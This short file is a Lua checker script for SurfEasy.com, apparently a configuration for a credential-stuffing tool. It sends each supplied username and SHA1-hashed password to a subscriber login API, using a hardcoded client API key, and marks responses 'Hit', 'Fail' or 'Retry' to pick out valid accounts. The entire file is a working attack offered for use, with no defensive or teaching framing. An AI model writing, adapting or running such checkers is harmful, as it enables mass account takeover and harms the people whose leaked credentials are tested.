SurfEasy.com

function Checker(username, password)
    -- Add the necessary headers for the request
    AddHeader("SE-Client-Locale", "en")
    AddHeader("SE-Client-Type", "se0208")
    AddHeader("SE-Client-API-Key", "8DFB120F911E6048496BDDB081D510E9AB991EBC583775A043F824A3D0519441")

    -- Send a POST request to the login API
    local response = Post("https://fire-base.com/v2/subscriber_login", "{\"login\":\"" .. username .. "\",\"password\":\"" .. SHA1(password) .. "\"}", "application/json; charset=utf-8")
    Debug(response)

    -- Check if the response indicates a successful login
    if (string.find(response, "{\"return_code\":{\"0\":\"OK")) then
        return "Hit"  -- Return "Hit" for a valid account

    -- Check if the response indicates a failed login
    elseif (string.find(response, "Login failed.")) then
        return "Fail"  -- Return "Fail" for an invalid account

    -- If the response does not match the expected patterns, indicate a need to retry
    else
        return "Retry"  -- Return "Retry" for failed requests
    end
end

Last updated